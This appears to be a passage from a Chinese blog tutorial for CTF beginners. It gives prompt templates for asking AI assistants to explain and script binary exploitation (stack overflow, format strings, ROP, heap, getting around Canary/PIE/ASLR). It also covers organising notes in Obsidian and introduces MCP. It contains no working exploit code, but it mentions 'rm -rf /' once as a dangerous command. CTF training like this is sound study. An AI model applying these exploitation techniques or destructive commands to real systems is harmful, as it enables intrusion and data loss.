&nbsp;%20&nbsp;用简单的例子解释,不要太学术化

2.%20为什么可以通过这个漏洞控制程序执行流?
&nbsp;%20&nbsp;从内存布局的角度讲讲

3.%20常见的利用方法有哪些?
&nbsp;%20&nbsp;【ret2libc/ROP/堆风水/...】

4.%20保护机制如何阻止利用?
&nbsp;%20&nbsp;【Canary/NX/PIE/ASLR】各自的原理

5.%20如何绕过这些保护?
&nbsp;%20&nbsp;每种保护给我一个典型的绕过案例

请用Markdown格式输出,我要保存成学习笔记
技巧2:Exploit脚本调试

逐步构建Exploit:

第一步:基础框架

请帮我写一个pwntools脚本模板:

目标:连接到【本地/远程】服务
需要功能:
-%20发送payload
-%20接收输出
-%20调试模式开关(本地可以attach%20GDB)

只要框架,先不写具体利用代码

第二步:添加利用逻辑

基于刚才的模板,现在添加利用代码:

漏洞类型:【栈溢出】
目标:【覆盖返回地址为system("/bin/sh")】
已知地址:
-%20system:%200x12345678
-%20"/bin/sh":%200xabcdef00

请补充payload构造部分

第三步:处理异常

运行脚本后出现:
【粘贴错误信息或异常输出】

请帮我:
1.%20分析原因
2.%20修改代码
3.%20解释为什么要这样改

image-20260105153818273

技巧3:保护绕过策略

Canary绕过:

程序有Canary保护:

【粘贴相关代码】

我知道有以下绕过方式:
-%20泄露Canary值
-%20通过格式化字符串漏洞读取
-%20爆破(如果fork机制)

请分析这道题应该用哪种方法,并给我脚本

PIE绕过:

程序开启了PIE,所有地址都是相对的:

保护信息:【checksec输出】

如何泄露基址?
1.%20分析程序有没有信息泄露点
2.%20如果有,写脚本泄露基址
3.%20计算目标函数的真实地址
4.%20完整的Exploit流程

ASLR绕过:

目标环境开启了ASLR,libc地址随机:

程序有:
-%20puts函数(可以用来泄露libc)
-%20read函数(可以多次输入)

请教我:
1.%20ret2libc的原理
2.%20如何通过泄露puts地址计算libc基址
3.%20如何找到system和"/bin/sh"的地址
4.%20完整的两步Exploit(先泄露,再利用)
技巧4:堆题目(高级)

堆溢出分析:

这是一道堆题目:

【粘贴程序代码】

程序功能:
-%20malloc/free/edit功能
-%20有【UAF/double%20free/堆溢出】漏洞

请帮我:
1.%20分析堆的布局
2.%20判断是哪种堆利用技术(fastbin%20attack/tcache/unsorted%20bin)
3.%20给出利用思路(劫持什么指针/构造什么堆块)
4.%20如果太复杂,给我学习路径(应该先学什么)
常见Pwn题型与AI提问策略 题型1:栈溢出(ret2text/ret2shellcode)

特征:

  • •%20简单的gets/scanf/read溢出
  • •%20无保护或只有NX

AI提问:

【上传文件或粘贴代码】

这是一个简单的栈溢出题:
保护:【checksec输出】

已知:
-%20溢出点在【函数名】
-%20程序里有【后门函数/system函数】

请写Exploit脚本:
1.%20计算偏移量(距离返回地址多远)
2.%20构造payload覆盖返回地址
3.%20如果需要调试,告诉我怎么用GDB验证偏移
题型2:格式化字符串漏洞

特征:

  • •%20printf(buf)%20而不是%20printf(“%s”,%20buf)

AI提问:

程序有格式化字符串漏洞:

【粘贴漏洞代码】

我需要:
-%20泄露栈上的数据(找Canary/libc地址)
-%20或者任意地址写(改GOT表)

请教我:
1.%20格式化字符串的利用原理(%p、%n等)
2.%20如何确定偏移量(输入在栈的第几个位置)
3.%20写脚本泄露【目标】地址
4.%20如果要改写内存,如何构造payload
题型3:ROP(Return-Oriented%20Programming)

特征:

  • •%20有NX保护,不能执行shellcode
  • •%20需要通过gadgets构造ROP链

AI提问:

我需要用ROP绕过NX保护:

程序信息:
-%20架构:【x86/x64】
-%20Canary:%20No
-%20NX:%20Yes
-%20PIE:%20No

目标:【执行system("/bin/sh")/execve】

请帮我:
1.%20解释ROP的原理(新手视角)
2.%20应该找哪些gadgets(pop%20rdi;%20ret%20/%20syscall等)
3.%20用ROPgadget/ropper工具找gadgets的命令
4.%20构造完整的ROP链
5.%20给我pwntools脚本,用ROP()类构建
题型4:整数溢出/逻辑漏洞

特征:

  • •%20没有明显的内存漏洞
  • •%20需要通过逻辑错误利用

AI提问:

这个程序我没找到明显的内存漏洞:

【粘贴程序代码】

但是题目肯定有问题,可能是:
-%20整数溢出(负数/越界)
-%20逻辑漏洞(条件判断问题)
-%20Off-by-one

请帮我:
1.%20仔细审计代码,找出问题点
2.%20解释漏洞原理(为什么可以利用)
3.%20给出利用思路
4.%20如果需要特殊输入(负数/极大数),告诉我怎么构造
Pwn方向的进阶学习路径 第一阶段:基础理论(AI辅助学习)

问AI:

我想系统学习Pwn,但是完全零基础。

请给我一个7天学习计划:

第1天:【应该学什么概念/看什么资料】
第2天:【...】
...
第7天:【应该能做什么难度的题】

每天的学习内容要包含:
-%20理论知识(核心概念)
-%20实践练习(推荐题目或靶场)
-%20检验标准(怎么知道自己学会了)

请给我Markdown格式的详细计划
第二阶段:工具熟练(AI当教练)

工具使用模板:

教我如何使用【GDB+pwndbg/pwntools/ROPgadget】:

学习方式:
1.%20先给我一个简单的实战场景
2.%20一步步教我操作(带命令和预期输出)
3.%20解释每个命令在做什么
4.%20给我一个练习任务,我自己试试

我想真正掌握,不是只复制命令
第三阶段:刷题实战(AI辅助思路)

题目分析框架:

我在做Pwn题:【题目名】

我的分析流程:
1.%20checksec%20→%20【结果】
2.%20运行程序%20→%20【观察行为】
3.%20IDA分析%20→%20【主要函数逻辑】
4.%20我的判断%20→%20【漏洞类型/利用难度】

现在我卡在:【具体问题】

请帮我:
-%20验证我的分析是否正确
-%20给出下一步应该做什么
-%20如果方向错了,指出哪里想错了
Reverse%20&%20Pwn方向总结 Reverse方向

新手上手难度: ⭐⭐⭐⭐⭐ AI帮助程度: ⭐⭐⭐⭐⭐%20(Claude逆向神器) 学习路径:

第1-2天:学会用IDA/Ghidra,看懂反编译代码
第3-4天:识别常见算法(Base64/AES/TEA)
第5-6天:简单VM题目、简单混淆
第7天:尝试真实比赛题目

AI使用建议:

✅%20上传文件给Claude直接分析(核心技能)
✅%20反编译代码看不懂%20→%20AI逐行讲解
✅%20算法识别%20→%20AI对比已知算法
✅%20写逆向脚本%20→%20AI生成Python代码
✅%20Ghidra脚本%20→%20AI写自动化提取工具
Pwn方向

新手上手难度: ⭐⭐⭐⭐⭐%20(最难) AI帮助程度: ⭐⭐⭐⭐%20(学习神器,但需要基础) 学习路径:

第1周:理解栈/堆/寄存器,学会GDB调试
第2周:栈溢出基础(ret2text/ret2shellcode)
第3周:保护绕过(Canary/NX/PIE)
第4周:ROP链构造
之后:格式化字符串、堆利用(长期学习)

AI使用建议:

✅%20原理学习%20→%20AI当老师,讲概念+画图
✅%20找漏洞%20→%20AI分析代码,指出问题点
✅%20写Exploit%20→%20AI生成pwntools模板
✅%20调试问题%20→%20AI解释GDB输出,排查错误
✅%20绕过保护%20→%20AI给思路和案例
比赛中的Reverse/Pwn策略 ⏰%20时间分配建议
【签到题阶段】(0-30分钟)
-%20Reverse签到题通常比Pwn简单
-%20先看Reverse,如果是明文/简单编码,AI秒解

【主攻阶段】(30分钟-2小时)
-%20❌%20不要碰Reverse/Pwn的难题
-%20✅%20优先做完Crypto/Web/Misc的中等题

【冲分阶段】(比赛后半程)
-%20✅%20其他方向做完了,再攻Reverse/Pwn
-%20✅%20选一道看起来有思路的,AI辅助尝试
-%20⚠️%20设定时间上限(单题不超过1小时)

【学习阶段】(比赛末尾)
-%20✅%20即使解不出来,跟着AI学习解题思路
-%20✅%20为以后积累经验
🎯%20题目选择策略

Reverse题目:

优先级:
1️⃣%20文件很小(<100KB)→%20可能逻辑简单
2️⃣%20题目名字有"简单"/"easy"/"签到"
3️⃣%20有源码的题目%20→%20AI分析源码比反编译快

避开:
❌%20文件>5MB%20→%20可能有大量混淆
❌%20标题有"VM"/"虚拟机"%20→%20新手噩梦
❌%20标题有"anti-debug"%20→%20坑很多

Pwn题目:

优先级:
1️⃣%20保护全关(No%20Canary/NX/PIE)→%20入门级
2️⃣%20有源码%20→%20AI直接分析源码找漏洞
3️⃣%20题目提示"栈溢出"/"格式化字符串"%20→%20已知漏洞类型

避开:
❌%20保护全开(Full%20RELRO%20+%20Canary%20+%20NX%20+%20PIE)
❌%20标题有"堆"/"heap"%20→%20需要深厚功底
❌%20标题有"沙箱"/"sandbox"%20→%20超纲
心态调整与学习建议 新手常见心理障碍

❌%20错误心态:

"Reverse/Pwn太难了,我永远学不会"
"别人都会,我什么都不懂,好挫败"
"花了2小时还没做出来,太笨了"

✅%20正确心态:

"Reverse/Pwn确实最难,但一步步来能学会"
"别人也是从零开始的,我只是入门晚"
"2小时能学到东西就是赚的,解不出来是正常的"
AI辅助学习的正确姿势

建议1:不要只复制代码

❌%20看到AI给的脚本,复制粘贴就跑
✅%20问AI:"这个脚本每一行在做什么?为什么要这样写?"
✅%20自己尝试修改脚本,理解原理

建议2:边做边问为什么

AI说:"这是TEA算法"
你问:"TEA算法为什么叫TEA?设计理念是什么?"

AI说:"用ROP绕过NX"
你问:"NX是怎么阻止shellcode执行的?ROP为什么能绕过?"

持续追问,直到真正理解

建议3:建立知识库

每做完一道题,让AI帮你总结:

"请帮我把这道题整理成笔记:
-%20题目类型和特征
-%20关键知识点
-%20常见坑点
-%20类似题目的通用解法

Markdown格式,我要保存到Notion/Obsidian"

小贴士:

  • • Reverse:Claude的二进制分析能力真的强,多用上传文件功能
  • • Pwn:pwntools%20+%20AI%20=%20学习加速器,但基础还是要自己打
  • • 调试:GDB输出看不懂?截图给Claude,它能直接解释
  • • 心态:这两个方向就是难,解不出来不丢人,学到东西就是胜利
  • • 长期:Reverse/Pwn是CTF的天花板,慢慢学,急不来
四、效率倍增:AI批量下载题目附件与笔记整理 为什么需要批量下载?比赛中后期的”坐牢时刻” 典型场景:被卡住的无奈
比赛进行到2-3小时:
✅%20简单题做完了(Crypto签到、Web基础题)
❌%20剩下的题都太难,完全没思路
❌%20队友也在苦战,帮不上忙
⏰%20时间还很长,不想就这么放弃

这时候你在干什么?
❌%20盯着做不出来的题发呆
❌%20在群里水聊天
❌%20刷手机摸鱼

✅%20正确做法:把"坐牢时间"变成学习时间!
批量下载的核心价值
🎯%20短期价值(比赛中):
1.%20整理已有资料,为后续冲刺做准备
2.%20把题目保存本地,防止比赛结束后题目关闭
3.%20记录解题思路和AI对话,方便队友接力
4.%20保持"我还在努力"的心态,避免完全躺平

🎯%20长期价值(赛后):
1.%20建立个人CTF题库,积累经验
2.%20题目描述+附件+WP,完整复盘
3.%20知识库逐渐成长,成为你的"外置大脑"
4.%20下次比赛直接搜索笔记:"我见过类似的题!"
5.%20笔记够多后,可以喂给本地AI(RAG知识库)
哪些比赛支持批量下载? 有API接口的平台(推荐)
✅%20RHG类型比赛
&nbsp;%20&nbsp;-%20通常提供Bot%20API
&nbsp;%20&nbsp;-%20可以用脚本自动下载题目+附件

⚠️%20没有API的平台
&nbsp;%20&nbsp;-%20只能手动下载,或者写爬虫(风险高)
&nbsp;%20&nbsp;-%20建议:手动下载+AI辅助整理
使用AI编写批量下载脚本 第一步:分析平台接口

AI提问模板:

我在参加CTF比赛,想批量下载题目:

平台信息:
比赛方给的Bot接口文档信息,包含api地址,调用方式,你所在队伍的token

请帮我:
1.%20分析这个平台的API结构
2.%20判断是否可以用脚本批量下载
3.%20给我完整的Python脚本(包含登录/获取题目列表/下载附件)

image-20260105173250683

没有API?手动整理%20+%20AI辅助 手动下载的最佳实践
当平台不提供API时,不要写爬虫(可能违规):

✅%20正确做法:
1.%20手动下载每道题的附件
2.%20复制题目描述到文本文件
3.%20截图保存题目界面(尤其是在线靶场)
4.%20让AI帮你整理成统一格式

AI整理提问模板:

我手动下载了一些CTF题目,文件很乱:

当前状态:
-%20附件散落在下载文件夹
-%20题目描述复制在不同的txt文件
-%20截图保存在各处
-%20没有统一的命名规则

请帮我设计一个目录结构:
1.%20如何分类(按方向/按比赛/按难度)
2.%20文件命名规范
3.%20用什么格式保存题目信息(建议Markdown)
4.%20如何关联题目、附件、笔记、WP

最好给我一个批量重命名/整理的脚本
AI推荐的CTF知识库目录结构 标准目录树(Obsidian友好)
📁%20CTF-Knowledge-Base/%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20#%20根目录(Obsidian仓库)
│
├──%20📁%2000-Index/%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;#%20索引目录
│%20&nbsp;%20├──%20📄%20README.md%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;#%20知识库使用说明
│%20&nbsp;%20├──%20📄%20比赛记录.md%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20#%20所有参加过的比赛列表
│%20&nbsp;%20├──%20📄%20题目索引-按分类.md%20&nbsp;%20&nbsp;%20&nbsp;#%20按Web/Crypto/Reverse分类
│%20&nbsp;%20├──%20📄%20题目索引-按难度.md%20&nbsp;%20&nbsp;%20&nbsp;#%20按简单/中等/困难分类
│%20&nbsp;%20└──%20📄%20工具清单.md%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20#%20常用工具和安装方法
│
├──%20📁%2001-Competitions/%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20#%20比赛记录
│%20&nbsp;%20├──%20📁%202024-XX杯/
│%20&nbsp;%20│%20&nbsp;%20├──%20📄%20比赛总结.md%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20#%20比赛回顾、得分、反思
│%20&nbsp;%20│%20&nbsp;%20├──%20📁%20Web/
│%20&nbsp;%20│%20&nbsp;%20│%20&nbsp;%20├──%20📁%20简单的SQL注入/
│%20&nbsp;%20│%20&nbsp;%20│%20&nbsp;%20│%20&nbsp;%20├──%20📄%20README.md%20&nbsp;%20#%20题目描述
│%20&nbsp;%20│%20&nbsp;%20│%20&nbsp;%20│%20&nbsp;%20├──%20📁%20attachments/%20#%20附件
│%20&nbsp;%20│%20&nbsp;%20│%20&nbsp;%20│%20&nbsp;%20├──%20📁%20screenshots/%20#%20截图
│%20&nbsp;%20│%20&nbsp;%20│%20&nbsp;%20│%20&nbsp;%20├──%20📁%20exploits/%20&nbsp;%20&nbsp;#%20自己写的脚本
│%20&nbsp;%20│%20&nbsp;%20│%20&nbsp;%20│%20&nbsp;%20└──%20📄%20writeup.md%20&nbsp;%20#%20详细WP
│%20&nbsp;%20│%20&nbsp;%20│%20&nbsp;%20└──%20...
│%20&nbsp;%20│%20&nbsp;%20├──%20📁%20Crypto/
│%20&nbsp;%20│%20&nbsp;%20├──%20📁%20Reverse/
│%20&nbsp;%20│%20&nbsp;%20└──%20📁%20AI-Conversations/%20&nbsp;%20#%20AI对话记录(JSON或MD)
│%20&nbsp;%20└──%20📁%202024-YY大赛/
│%20&nbsp;%20&nbsp;%20&nbsp;%20└──%20...
│
├──%20📁%2002-Practice/%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20#%20平时练习题
│%20&nbsp;%20├──%20📁%20BUUCTF/
│%20&nbsp;%20├──%20📁%20攻防世界/
│%20&nbsp;%20└──%20📁%20PicoCTF/
│
├──%20📁%2003-Knowledge/%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;#%20知识笔记
│%20&nbsp;%20├──%20📁%20Web/
│%20&nbsp;%20│%20&nbsp;%20├──%20📄%20SQL注入原理.md
│%20&nbsp;%20│%20&nbsp;%20├──%20📄%20XSS绕过技巧合集.md
│%20&nbsp;%20│%20&nbsp;%20└──%20📄%20PHP反序列化.md
│%20&nbsp;%20├──%20📁%20Crypto/
│%20&nbsp;%20│%20&nbsp;%20├──%20📄%20常见编码识别.md
│%20&nbsp;%20│%20&nbsp;%20├──%20📄%20RSA攻击方法.md
│%20&nbsp;%20│%20&nbsp;%20└──%20📄%20古典密码大全.md
│%20&nbsp;%20├──%20📁%20Reverse/
│%20&nbsp;%20├──%20📁%20Pwn/
│%20&nbsp;%20└──%20📁%20Misc/
│
├──%20📁%2004-Tools/%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;#%20工具和脚本
│%20&nbsp;%20├──%20📁%20scripts/%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20#%20自己写的工具脚本
│%20&nbsp;%20│%20&nbsp;%20├──%20📄%20批量下载.py
│%20&nbsp;%20│%20&nbsp;%20├──%20📄%20编码转换.py
│%20&nbsp;%20│%20&nbsp;%20└──%20📄%20Ghidra自动分析.py
│%20&nbsp;%20└──%20📁%20configs/%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20#%20工具配置文件
│%20&nbsp;%20&nbsp;%20&nbsp;%20├──%20📄%20.gdbinit
│%20&nbsp;%20&nbsp;%20&nbsp;%20└──%20📄%20Burp配置.json
│
├──%20📁%2005-Resources/%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;#%20学习资源
│%20&nbsp;%20├──%20📄%20推荐博客.md
│%20&nbsp;%20├──%20📄%20视频教程.md
│%20&nbsp;%20└──%20📄%20书籍推荐.md
│
└──%20📁%2006-Templates/%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;#%20模板文件
&nbsp;%20&nbsp;%20├──%20📄%20题目模板.md
&nbsp;%20&nbsp;%20├──%20📄%20WP模板.md
&nbsp;%20&nbsp;%20└──%20📄%20比赛总结模板.md
WriteUp笔记的标准格式 模板1:详细WP(供学习回顾)
#%20[题目名称]

##%20元信息
-&nbsp;**比赛**:%20XX杯%202024
-&nbsp;**分类**:%20Web%20/%20Crypto%20/%20Reverse%20/%20Pwn%20/%20Misc
-&nbsp;**分值**:%20200
-&nbsp;**难度**:%20⭐⭐⭐%20(1-5星)
-&nbsp;**解题时间**:%2045分钟
-&nbsp;**是否一血**:%20❌
-&nbsp;**解题人数**:%20123/500

##%20题目描述

【原始题目描述】

##%20附件信息
-&nbsp;文件1:&nbsp;`vuln.zip`&nbsp;(123KB)
-&nbsp;文件2:&nbsp;`source.php`&nbsp;(5KB)
-&nbsp;在线靶场:%20http://xxx.xxx.xxx:8080

##%20初步分析
【第一眼看到题目时的思考】
-&nbsp;文件类型:【file命令结果】
-&nbsp;可疑点:【strings输出/代码片段】
-&nbsp;可能的方向:【猜测题目类型】

##%20解题过程

###%20思路1:【尝试的第一个方向】
【详细描述】

**遇到的问题:**
-&nbsp;【问题1】
-&nbsp;【问题2】

**为什么失败:**
【分析原因】

###%20思路2:【正确的解题方向】
【详细步骤】

####%20Step%201:%20【子步骤】

**输出:**

**分析:**
【对输出的理解】

####%20Step%202:%20【关键突破】

**为什么这样写:**
【解释原理】

###%20AI辅助部分
【如果用了AI,记录对话】

**提问:**

【给AI的问题】

**AI回答:**

**实际效果:**
【AI建议是否有效】

##%20最终Exploit

##%20Flag

##%20知识点总结

###%20核心技术
-&nbsp;【技术点1】:【原理】
-&nbsp;【技术点2】:【原理】

###%20新学到的东西
-&nbsp;【之前不会,这次学到的】

###%20踩过的坑
-&nbsp;【坑1】:【原因和解决方法】
-&nbsp;【坑2】:【原因和解决方法】

###%20相关题目
-&nbsp;[[类似题目1]]%20(内部链接)
-&nbsp;[[类似题目2]]

##%20参考资料
-&nbsp;[相关博客](URL)
-&nbsp;[官方WP](URL)

##%20后续TODO
-&nbsp;[%20]%20深入学习【某个不懂的知识点】
-&nbsp;[%20]%20尝试其他解法
-&nbsp;[%20]%20写一篇博客分享

---
**创建时间**:%202024-01-05%2014:30
**最后修改**:%202024-01-05%2018:20
**标签**:&nbsp;#SQL注入&nbsp;#WAF绕过&nbsp;#Web安全
模板2:快速笔记(比赛中记录)
#%20[题目名称]%20-%20快速笔记

##%20基本信息
-&nbsp;分类:%20Web
-&nbsp;分值:%20200
-&nbsp;开始时间:%2014:30

##%20现状
-&nbsp;[%20]%20题目理解
-&nbsp;[x]%20基础分析
-&nbsp;[%20]%20找到漏洞
-&nbsp;[%20]%20编写Exploit
-&nbsp;[%20]%20拿到Flag

##%20当前思路
【正在尝试的方法】

##%20卡点
【遇到什么问题】

##%20待尝试
-&nbsp;[%20]%20方法1
-&nbsp;[%20]%20方法2

##%20AI对话
【粘贴关键对话】

##%20临时笔记
【随手记录的信息】

⚠️%20这是比赛中的临时笔记,赛后需要整理成完整WP

Obsidian使用技巧(AI推荐) 为什么选择Obsidian?
✅%20纯Markdown,便于版本控制(Git)
✅%20双向链接,构建知识网络
✅%20全局搜索,快速定位
✅%20插件丰富(Dataview/Excalidraw/Kanban)
✅%20本地存储,隐私安全
✅%20可以当知识库喂给本地AI(RAG)

❌%20VSCode的问题:
-%20更适合项目代码,不适合长期笔记
-%20搜索功能不如专业笔记软件
-%20没有双向链接和知识图谱
核心功能配置(AI辅助)

问AI生成Obsidian配置:

我要用Obsidian管理CTF笔记:

需求:
1.%20快速创建题目笔记(用模板)
2.%20通过标签快速筛选(#SQL注入&nbsp;#ROP等)
3.%20全局搜索关键词(比如"TEA算法")
4.%20可视化知识图谱(看题目之间的关联)
5.%20支持代码高亮

请推荐:
1.%20必装的插件(名称+功能)
2.%20如何设置模板
3.%20标签体系设计(不要太复杂)
4.%20搜索技巧(正则/高级语法)

推荐的插件清单:

必装:
-%20Templater:%20自动化模板插入
-%20Dataview:%20自动生成题目索引表
-%20Advanced%20Tables:%20编辑表格
-%20Excalidraw:%20画图(画内存布局/ROP链)

可选:
-%20Kanban:%20管理学习进度
-%20Calendar:%20查看每天刷题记录
-%20Mind%20Map:%20知识点思维导图
知识库的高级玩法:喂给AI 场景:笔记足够多后(50+题目)

本地RAG(检索增强生成):

工具链:
1.%20Obsidian笔记%20→%20Markdown文件
2.%20LangChain%20/%20LlamaIndex%20→%20向量化
3.%20本地大模型(Ollama)%20→%20推理

实现效果:
"我:这道题好像见过类似的"
"AI(基于你的笔记库):是的,你在XX杯做过类似题,
&nbsp;%20&nbsp;%20当时的思路是【从你的WP中提取】,
&nbsp;%20&nbsp;%20工具用的是【从你的笔记提取】"

配置教程:
问AI:"如何用LangChain%20+%20Ollama搭建本地知识库问答系统?
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;我的笔记在Obsidian中,格式是Markdown"
比赛中的实战用法

全局搜索快速定位:

场景1:遇到TEA加密
Obsidian搜索:%20"TEA"%20或%20"#TEA加密"
立刻找到之前做过的题%20+%20解题脚本

场景2:忘记pwntools语法
搜索:%20"pwntools"%20+%20"ROP"
找到之前写过的Exploit模板

场景3:想不起某个工具命令
搜索:%20"StegSolve"%20或%20"Volatility"
找到之前整理的工具笔记
整理笔记的时间规划 比赛中(实时整理)
✅%20简单题做完立刻记:
-%20花5分钟写快速笔记
-%20记录关键命令/脚本
-%20保存AI对话记录

✅%20卡住的时候整理:
-%20把"坐牢时间"变成整理时间
-%20下载题目附件
-%20复制题目描述
-%20截图保存界面

❌%20不要边做题边写详细WP
-%20影响比赛节奏
-%20简单记录即可
赛后(深度整理)
⏰%20比赛结束后24小时内(记忆最清晰):

1.%20整理已解出的题(1-2小时)
&nbsp;%20&nbsp;-%20把快速笔记扩展成完整WP
&nbsp;%20&nbsp;-%20补充思路和知识点
&nbsp;%20&nbsp;-%20整理代码和脚本

2.%20复盘未解出的题(2-3小时)
&nbsp;%20&nbsp;-%20看别人的WP
&nbsp;%20&nbsp;-%20跟着AI重新做一遍
&nbsp;%20&nbsp;-%20记录"为什么当时没想到"

3.%20知识点提炼(30分钟)
&nbsp;%20&nbsp;-%20把新学的知识整理成专题笔记
&nbsp;%20&nbsp;-%20更新工具清单
&nbsp;%20&nbsp;-%20更新索引文件
总结:从”坐牢”到”积累” 心态转变
❌%20消极:"题目太难了,坐牢中,好无聊"
✅%20积极:"反正做不出来,整理笔记也是进步"

长期价值:
-%20第1次比赛:笔记10道题
-%20第3次比赛:笔记50道题%20→%20开始能搜到相似题
-%20第10次比赛:笔记200道题%20→%20知识库初具规模
-%201年后:笔记500+道题%20→%20你的外置大脑
实战清单
比赛中期(题目做完了/卡住了):
✅%20打开下载脚本,批量保存题目
✅%20手动下载没做的题的附件
✅%20复制所有题目描述
✅%20截图保存在线靶场界面
✅%20导出AI对话记录
✅%20写简单的快速笔记

赛后24小时内:
✅%20扩展快速笔记为完整WP
✅%20看官方WP,补充未解出的题
✅%20提炼知识点,更新专题笔记
✅%20运行索引生成脚本
✅%20把新学的工具加入清单

每月一次:
✅%20回顾本月所有比赛
✅%20总结高频考点
✅%20更新知识图谱
✅%20清理重复/过时的笔记

小贴士:

  • •%20批量下载脚本用AI写,5分钟搞定,别自己从零开始
  • •%20Obsidian的搜索功能是神器,善用 tag:#XXX 和正则
  • •%20笔记不求完美,能帮自己快速回忆就够了
  • •%20知识库是长期工程,不要指望一个月就见效
  • •%20比赛结束不是终点,整理笔记才是开始
五、进阶展望:MCP平台简介 MCP是什么?为什么值得关注 Model%20Context%20Protocol基本概念
MCP(Model%20Context%20Protocol)是什么?

简单理解:
❌%20不是:一个新的AI模型
❌%20不是:一个聊天软件
✅%20是:一个让AI能"动手干活"的协议标准

类比:
-%20普通AI对话%20=%20你问AI,AI用嘴回答
-%20MCP%20=%20你问AI,AI不仅回答,还能动手操作
&nbsp;%20(读文件、运行代码、调用工具、访问数据库...)

官方定义:
MCP是Anthropic开发的开放协议,允许AI助手
安全地连接到本地和远程的数据源和工具。
与普通AI对话的区别

对比表:

|%20维度%20|%20普通AI对话%20|%20MCP模式%20| |%20—%20|%20—%20|%20—%20| |%20交互方式%20|%20你问%20→%20AI答%20|%20你问%20→%20AI调用工具%20→%20返回结果%20| |%20AI能力%20|%20只能生成文本/代码%20|%20能执行代码、读写文件、调用API%20| |%20数据访问%20|%20仅限对话内容%20|%20可访问本地文件、数据库、API%20| |%20工具使用%20|%20AI告诉你怎么用工具%20|%20AI直接帮你用工具%20| |%20自动化%20|%20需要人工复制粘贴%20|%20全程自动化%20|

实际例子:

场景:CTF逆向题分析

【普通AI对话】
你:这个二进制文件是什么?
AI:你可以用file命令查看,然后用strings提取字符串...
你:(手动执行命令)file%20crackme
你:(复制输出)ELF%2064-bit...
AI:看起来是Linux程序,你可以用IDA打开...
你:(手动操作IDA,又回来问AI)

【MCP模式】
你:这个二进制文件是什么?分析一下
AI:(自动执行)file%20crackme
AI:(自动执行)strings%20crackme%20|%20grep%20flag
AI:(自动执行)objdump%20-d%20crackme
AI:(综合分析后直接告诉你结果和解题思路)

省去了所有"复制-粘贴-切换窗口"的步骤!
在CTF中的潜在应用
🎯%20自动化解题流程:
1.%20AI自动下载题目附件
2.%20AI自动识别文件类型
3.%20AI自动调用分析工具(binwalk/strings/Wireshark)
4.%20AI自动编写和运行解题脚本
5.%20AI自动提交flag并记录

🎯%20多工具协同:
-%20连接本地工具链(IDA/GDB/Burp/Wireshark)
-%20访问本地笔记库(Obsidian%20RAG)
-%20调用在线API(VirusTotal/Shodan)

🎯%20知识库增强:
-%20读取本地WP笔记
-%20搜索历史题目
-%20自动关联相似题型
-%20动态更新知识库

🎯%20完全自动化比赛(黑客松场景):
-%20AI从头到尾解题,人类不干预
-%20适用于纯AI比赛(如腾讯黑客松)
MCP的能力边界 可以做什么(已经实现)

image-20260105173427128

✅%20文件系统操作:
-%20读写本地文件
-%20遍历目录
-%20执行shell命令

✅%20代码执行:
-%20运行Python/JavaScript脚本
-%20调用系统工具
-%20管理进程

✅%20数据库访问:
-%20查询SQLite/PostgreSQL
-%20读取笔记库(Obsidian)
-%20向量数据库(RAG)

✅%20API集成:
-%20GitHub操作(提交代码)
-%20Slack通知
-%20Google%20Drive文件
-%20自定义REST%20API

✅%20浏览器控制(实验性):
-%20Puppeteer操控
-%20爬取网页
-%20自动填表

✅%20Docker管理:
-%20启动/停止容器
-%20执行容器内命令
-%20管理镜像
目前的局限(需注意)
❌%20安全风险:
-%20AI可能执行危险命令(rm%20-rf%20/)
-%20需要严格的权限控制
-%20建议在虚拟机/容器中运行

❌%20稳定性问题:
-%20MCP协议还在快速迭代
-%20部分工具兼容性不完善
-%20可能出现意外错误

❌%20成本考量:
-%20需要AI%20API调用(Claude/GPT)
-%20大量工具调用会产生较高费用
-%20本地模型(Ollama)能力较弱

❌%20复杂度高:
-%20配置学习曲线陡峭
-%20需要理解JSON-RPC协议
-%20调试困难

❌%20并非万能:
-%20复杂的人类直觉判断还是需要人工
-%20新型/非常规题型AI可能搞不定
-%20某些GUI操作不如人类灵活
学习路线图 前置知识要求
必备技能(缺一不可):
✅%20Linux基础命令(cd/ls/chmod/curl等)
✅%20Python编程(能看懂和修改脚本)
✅%20JSON格式理解
✅%20Docker基础(build/run/exec)
✅%20API调用概念(REST/HTTP)
✅%20环境变量配置(export/PATH)

加分项(有更好):
✅%20Node.js/TypeScript(部分MCP服务器用)
✅%20系统架构理解(客户端-服务器模型)
✅%20Claude%20API使用经验
✅%20VS%20Code扩展开发

时间投入估算:
-%20零基础%20→%20能用:40-60小时
-%20有基础%20→%20能用:10-20小时
-%20能用%20→%20精通:50-100小时
推荐学习资源

官方资源(必读):

📘%20MCP官方文档:
https://modelcontextprotocol.io/introduction

📘%20官方GitHub:
https://github.com/modelcontextprotocol

📘%20快速开始指南:
https://modelcontextprotocol.io/quickstart

📘%20已有的MCP服务器列表:
https://github.com/modelcontextprotocol/servers

📘%20Claude.ai官网(内置工具,网页对话就能用):
https://claude.ai

📘%20Anthropic开发者文档:
https://docs.anthropic.com

社区资源(推荐):

🌐%20Discord社区:
https://discord.gg/modelcontextprotocol

🌐%20Reddit讨论:
r/ClaudeAI(搜索MCP相关帖子)

